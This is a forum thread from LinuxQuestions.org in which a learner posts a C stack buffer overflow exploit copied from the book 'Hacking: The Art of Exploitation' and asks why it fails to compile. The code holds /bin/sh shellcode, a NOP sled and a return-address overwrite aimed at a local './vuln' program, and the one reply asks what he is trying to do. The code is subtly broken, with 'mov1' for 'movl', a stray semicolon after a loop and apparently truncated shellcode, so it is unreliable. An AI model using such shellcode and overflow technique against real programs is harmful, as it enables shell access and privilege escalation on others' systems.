LinuxQuestions.org
Visit Jeremy's Blog.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Software
User Name
Password
Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.

Notices


Reply
  Search this Thread
Old 11-23-2004, 11:17 PM   #1
Bill Chandler
LQ Newbie
 
Registered: Nov 2004
Posts: 3

Rep: Reputation: 0
GCC compiling problem C, SuSE 9.1


downloaded the RPM from ftp.suse.com/pub/suse/i386/9.1/suse/i586

You think I need to install more packages? if so, which ones? Or am I just stupid and scan't see something obvious

linux:/home/lxuser/Documents # gcc -o exploit exploit.c
exploit.c:56:2: warning: no newline at end of file
/tmp/cc7LApPc.s: Assembler messages:
/tmp/cc7LApPc.s:16: Error: no such instruction: `mov1 %esp,%eax'
linux:/home/lxuser/Documents #

--------------------------------------------------------------------------------------------------------------
#include <stdlib.h>


char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x86";

unsigned long sp(void)
{ __asm__("mov1 %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0; //Use an offset of 0
esp = sp(); //Put the current stack pointer into esp
ret = esp - offset; //We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" offset from esp : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);

// fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4);

{ *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

// end of string
buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its arguement
execl("./vuln", "vuln", buffer, 0);

//Free the buffer memory
free(buffer);

return 0;
}
--------------------------------------------------------------------------------------------------------------
 
Old 11-24-2004, 12:25 AM   #2
mritch
Member
 
Registered: Nov 2003
Location: austria
Distribution: debian
Posts: 667

Rep: Reputation: 30
[...]
linux:/home/lxuser/Documents # gcc -o exploit exploit.c
exploit.c:56:2: warning: no newline at end of file
/tmp/cc7LApPc.s: Assembler messages:
/tmp/cc7LApPc.s:16: Error: no such instruction: `mov1 %esp,%eax'
[...]

what are you trying to do? give us some info.

sl mritch.
 
Old 11-24-2004, 12:43 AM   #3
Bill Chandler
LQ Newbie
 
Registered: Nov 2004
Posts: 3

Original Poster
Rep: Reputation: 0
Just compile it then run it. Just seeing what it does. I'm following along in the book "Hacking: The Art of Exploitation" by Jon Erickson. It's supposed to overwrite stack memory or something and then run a command? Not sure.
 
Old 11-24-2004, 01:30 AM   #4
mritch
Member
 
Registered: Nov 2003
Location: austria
Distribution: debian
Posts: 667

Rep: Reputation: 30
:}
so see if there is some info about the building environment you'll need
in this book.
that piece of ccode will not be useful if the has-to-be-somewhere rest
of it is missing.

man make, man gcc

sl mritch.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
problem with gcc compiling courier-authlib? Please help! strimp099 Linux - Software 3 07-20-2005 07:03 PM
Problem compiling code in g++ works for gcc juan_de_margo Programming 3 02-24-2005 03:41 AM
gcc compiling problem chiahsin Linux - Software 2 12-02-2004 06:33 PM
GCC compiling problem webwolf70 Linux From Scratch 3 09-25-2004 08:51 PM
Problem compiling gcc gkiagia Programming 4 05-31-2004 03:18 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - Software

All times are GMT -5. The time now is 05:39 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration